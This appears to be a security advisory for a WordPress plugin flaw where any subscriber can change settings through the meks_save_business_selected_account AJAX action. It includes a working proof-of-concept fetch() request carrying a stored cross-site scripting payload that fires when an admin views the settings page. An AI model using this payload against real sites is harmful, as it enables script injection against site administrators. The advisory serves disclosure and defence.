The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the pluginβs settings and put Cross-Site Scripting payloads in them
As a subscriber:
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": new URLSearchParams({"action":"meks_save_business_selected_account","access_token": '" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz='}),
"method": "POST",
"credentials": "include"
})
.then(response => response.text())
.then(data => console.log(data));
Then the XSS will be triggered when an admin access the pluginβs settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)